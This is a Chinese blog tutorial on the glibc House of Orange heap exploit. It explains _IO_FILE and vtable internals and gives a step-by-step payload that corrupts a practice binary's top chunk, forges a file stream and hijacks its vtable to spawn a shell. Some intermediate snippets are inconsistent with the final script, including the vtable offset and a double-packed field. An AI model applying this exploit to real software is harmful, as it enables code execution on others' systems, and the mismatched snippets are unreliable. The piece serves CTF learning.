在上次介绍过了Unsortedbin attack之后,再稍微进一步看一个更复杂一些的利用
House of Orange
这种利用技巧源于一道Hitcon CTF的同名题目,不过之后也有一些其他的变形
IO_FILE
在看House of Orange的例子之前,我们首先了解一个Linux中的利用机制
_IO_FILE
使用gdb随便调试一个程序
例如gdb /bin/sh
之后start加载这个binary所有的依赖库文件
可以使用ptype /o struct _IO_FILE查看这个结构的定义
/o是在输出是显示偏移(offset)
在pwndbg中可以直接写为dt FILE
dt是pwndbg的指令dump type
如果要用dt查看其他结构需要用上引号dt "struct _IO_FILE"

_IO_FILE这个结构体中有一个_chain可以看到它的类型是一个struct _IO_FILE *,也就是说是一个指向其他_IO_FILE结构体的指针;
在使用fopen之类的函数打开一个文件之后,实际上系统会在堆上创建一个这样的_IO_FILE结构体,并将其加入到一个单链表中,单链表的头部为_IO_list_all,这个单链表可以理解为是一个专门存储_IO_FILE的fastbin
在gdb中输出_IO_list_all,可以看到这个的类型是_IO_FILE_plus

输出这一个结构的类型,可以看到这个结构实际上就是_IO_FILE加上了一个vtable

(下面的子节介绍了虚函数表的知识,可以看完之后再跳回来)
那这个_IO_list_all结构体里面这个vtable是干什么用的呢?
为什么会用到C++里面的这种虚函数表呢
实际上GNU的C++库和C库联系非常的紧密,调试C++程序的时候可以发现其实一些C++的库函数底层实现都是借助C库的函数完成的
例如C++的方法make_shared()、make_unique()等底层实际上也都是通过malloc实现的
这里的这个vtable实际上是为了与C++的streambuf类兼容才会出现的
但是这里兼容性上的问题,让GLIBC的file stream有可能存在虚函数表劫持的漏洞
另一方面,我们知道Linux的文件系统中一切皆为文件
每一个进程创建时都会有三个标准I/O File Stream:
stdinstdoutstderr
即使程序没有输出、没有输入,它也会存在这三个标准的I/O
还是以前面gdb打开的/bin/sh为例,查看它的_IO_list_all可以看到上面的三项内容
分别就是这三个标准的I/O

这个程序甚至还没有运行起来
所以即使一个程序没有用到文件,我们仍然是有可能利用到I/O File Stream的
虚函数表
这个vtable是一个虚函数表
这边需要补充一些vtable的相关知识
像C++这样的编程语言有一个机制叫做多态,参照菜鸟教程的例子
#include <iostream>
using namespace std;
class Shape {
protected:
int width, height;
public:
Shape( int a=0, int b=0)
{
width = a;
height = b;
}
virtual int area()
{
cout << "Parent class area :" <<endl;
return 0;
}
};
class Rectangle: public Shape{
public:
Rectangle( int a=0, int b=0):Shape(a, b) { }
int area ()
{
cout << "Rectangle class area :" <<endl;
return (width * height);
}
};
class Triangle: public Shape{
public:
Triangle( int a=0, int b=0):Shape(a, b) { }
int area ()
{
cout << "Triangle class area :" <<endl;
return (width * height / 2);
}
};
// 程序的主函数
int main( )
{
Shape *shape;
Rectangle rec(10,7);
Triangle tri(10,5);
// 存储矩形的地址
shape = &rec;
// 调用矩形的求面积函数 area
shape->area();
// 存储三角形的地址
shape = &tri;
// 调用三角形的求面积函数 area
shape->area();
return 0;
}
这里面有一个Shape类,另外有两个子类Rectangle和Triangle
有一个area方法用于计算面积,但是三角形好正方形算面积的方法是不同的
同样调用的是area,编译器怎么就知道该去链接到哪一个函数呢
父类Shape的area是一个虚函数,编译器编译的时候不会链接到这个函数
实际上在创建rec对象和tri对象的时候,每个对象会有一个指向虚函数表的指针
这个指针会指向真正在链接时需要链接到的函数
在C++程序的exploitation中,一个比较常见的攻击方法就是劫持虚函数表
将一个对象的vtable pointer利用溢出等漏洞修改为我们伪造的一个函数表,这样每次触发应该调用的方法时就会执行伪造的地址指向的函数
House of orange
原理
House of orange的核心思想主要是这样几部分:
- 不使用free函数而得到一个free chunk
- 伪造vtable
具体而言,获取free chunk的实现方法是修改Top Chunk
在从零开始的Linux堆利用1#House of Force Private or Broken Links
The page you're looking for is either not available or private!
中使用的方法是修改Top Chunk为一个特别大的值,之后我们申请一个特别大的chunk,循环一遍内存之后就可以访问到原本Top Chunk上方的内容
那如果将Top Chunk修改为一个很小的值呢?

在我们最开始学习堆的时候有了解到,malloc分配内存的时候实际上更底层是通过sbrk的调用拓展内存的空间的,这里图中绿色的线表示的就是brk目前分配到的位置
假如我们把Top Chunk修改为一个很小的数,这时再申请一个更大的chunk
内存认为的Top Chunk是无法满足申请空间的需求的,因此堆管理器后续会再使用brk申请一块新的区域

正常来说堆管理器会直接将通过brk分配的新内存直接并入到Top Chunk中(即让Top Chunk变大)
但是由于我们改小了Top Chunk,堆管理器认为Top Chunk与堆的尾部并不相邻
因此会将原本的Top Chunk Free掉
这样一番过程下来,我们就没有通过Free函数得到了一个Free chunk
根据修改的Top Chunk大小,我们可以利用这个Free Chunk来实现从零开始的Linux堆利用6#unsortedbin attack Private or Broken Links
The page you're looking for is either not available or private!
利用Unsorted bin attack结合IO_FILE的伪造就可以直接getshell
实践
检查安全措施,可以看到这个程序开启了Canary和NX、got表不可写并且开启了随机化

尝试运行一下

这里使用到的程序有这样三个选项,可以申请两次小chunk和一次大chunk
申请之后在gdb中可以看到

小的chunk是0x20大小,而大的chunk大小是0xfd0
这个示例程序的漏洞在于edit函数,没有进行长度检查,可以溢出后面的chunk
但是edit只允许修改第一个small chunk
那么就按照前面说的思路首先修改Top Chunk为一个比较小的值,之后再申请这个大的chunk
为了使用unsortedbin attack,这个大小我们先定为0x100
小chunk大小为0x20,可用的内容应该是0x18,所以我们的payload为
small_malloc()
edit(b'Y'*0x18+p64(0x101))

运行后可以看到Top Chunk被我们改写为了0x101
这时我们再申请一个 large chunk

但是并没有顺利执行,遇到了一个这样的报错
使用f 3切换frame到sysmalloc,可以看到在malloc里面实际上是因为一个assert语句出现了错误

我们仔细看一下这里报错的语句,核心检查的地方其实是这两句
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize-1)) == 0
前一句很简单,就是说Top Chunk的prev_inuser位一定需要为1
后一句则是在检查Top Chunk是否在一个页的边界结尾,即是否按页对齐了
这里报错主要是这个页对齐检查没有通过
所以我们伪造的top chunk大小需要进行修改
在Top Chunk之前我们申请了一个0x20大小的chunk,因此这个大小我们伪造为0x1000-0x20
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
再次运行,可以看到就没有出错了

可以看到我们在这里得到了一个unsorted bin
那么接下来就是利用unsorted bin attack了
利用unsorted bin attack我们可以将main_arena写到任意地址
不过我们往哪里写这个值呢?
House of Orange接下来的步骤就是利用unsorted bin attack篡改_IO_list_all的指针
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x21) + p64(0) + p64(libc.sym._IO_list_all - 0x10))
我们获取到这个unsorted bin之后修改fd、bk
fd写成任意一个值,bk改为_IO_list_all指针前0x10的值
之后再申请一个小的chunk
这样在申请时就会遍历unsorted bin,将这个unsorted bin unlink

执行之后可以看到这时_IO_list_all已经指向main_arena中的值了
正常来说,在程序退出时会对_IO_list_all中的文件进行关闭(flush)
这个退出可能是调用了exit,也可能是正常的从main函数中return
这里下一个断点观察一下程序的行为
set breakpoint pending on
b _IO_flush_all_lockp
选择4 quit的操作
断在了这个函数,看到backtrace里面,这个_IO_flush_all_lockp是由_IO_cleanup调用的

继续运行,不出意外肯定会报错

这里错误是因为main_arena被当作File Stream对待
我们希望触发的是_IO_OVERFLOW(fp,EOF)这一行
在这之前第一句进行了两个检查
fp->mode <=0 && fp-> _IO_write_ptr > fp-> _IO_write_base

这里被解析时_mode被认为是一个负数,程序认为这个File Stream不需要被关闭
于是直接去看下一个FileStream了
下一个File Stream是去找了_chain这个对象指向的位置,我们可以看到这里仍然在main_arena中
这里是main_arena+168,值为0x7ffff7dd4bc8的位置

关于main_arena的结构,我们可以复习一下这张图

图中Top Chunk是0x555555778fd0,unsortedbin fd是0x555555757020
依次对应下来图中红框标记出来的 0x7ffff7dd4bc8对应的是0x60的smallbins
所以在第一次_IO_flush_all_lockp执行失败后会顺着_chain找到这个0x60的smallbins进一步处理
那我们如果将一个伪造的FileStream数据填到这里就可以执行对应的内容了
还记得前面我们伪造了一个unsortedbin的大小吗?
如果我们将unsortedbin的大小伪造为0x60,在申请一个0x20大小的chunk时,这个unsortedbin就会被sort到这个0x60的smallbins中
也就是说我们直接在这个bins中伪造数据,就会被解析为FileStream了
修改一下payload
small_malloc()
edit(b'Y'*0x18+p64(0x1000-0x20+1))
large_malloc()
edit(b"Y"*0x18+p64(0x61) + p64(0) + p64(libc.sym._IO_list_all - 0x10))
那么伪造File Stream的数据都需要填哪些呢?
先暂且不修改后面的内容,运行一下,看看这个smallbins的位置是如何被解析的

这篇博客开始时我们讲到用dt FILE查看_IO_FILE结构

对应来看的话,原本chunk的size字段是_IO_read_ptr
flags对应的是prev_size的地方,所以我们edit修改数据时填充可以少8个字节
想要触发overflow函数,需要满足的条件是

这里写到的fp->mode <=0并且fp-> _IO_write_ptr > fp-> _IO_write_base
那么我们对应的设置一下这些值
在wirte_end及之后的内容直到mode都是对我们没用的数据,直接先填0
这部分数据长度从0x30到0xc0,用p64(0)*18来填充
payload = b"Y"*0x10
flags = b"Y"*0x8
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
payload = payload + flags
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + p32(mode) + p32(0) + p64(0)*2
到这里为止,后面还有一部分没有用到的空间,是_IO_FILE结构中最后的unused部分有20个字节
我们也全部用0填充
以上内容就构造完毕了_IO_FILE结构,但是关键的vtable指针还没有修改

要伪造的vtable本身只是填一个任意的我们可以控制的区域的地址就可以
为了节省一些空间,我们让这个指针指回到伪造的_IO_FILE中
那么计算一下vtable的值,从heap开始的位置,首先加上是0x20大小的一个small chunk
加上0xd8大小的整个伪造的_IO_FILE结构
减去重合的8字节
最后是减去overflow函数的地址偏移24即0x18
修改一下之前payload的最后一部分
vtable = heap + 0x20 + 0xd8 - 0x8 - 0x18
payload = payload + p32(mode) + p32(0) + p64(0) + p64(overflow)
payload = payload + p64(vtable)
最后就是overflow的值了
这里有两个选择,一是可以直接填写一个one_gadget
或者我们可以回忆一下,overflow函数调用时的样子

实际上调用的参数是fp,也就是最开始的flags
毕竟整个_IO_FILE都是我们伪造的内容,因此这个flags也可以直接控制
那么另一个简单的方法就是修改为
flags = b"/bin/sh\x00"
overflow = libc.sym.system
那么最终完整的部分为
#----- 修改Top Chunk得到一个Free chunk
small_malloc()
edit(b"Y"*0x18 + p64(0x1000-0x20+0x1))
large_malloc()
#-----伪造IO_FILE劫持vtable
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
fake_size = p64(0x61)
fd = p64(0)
bk = p64(libc.sym._IO_list_all - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap + 0xd8)
overflow = p64(libc.sym.system)
payload = payload + flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(payload)
#-----触发操作让unsortedbin被sort
small_malloc()
执行一下脚本,虽然报了一堆错误,但是执行下来还是弹回来了一个shell

这就是House Of Orange的完整过程了,确实很巧妙,并且过程也比之前学到的内容复杂一些
不好理解的话实际动手写一下就会好很多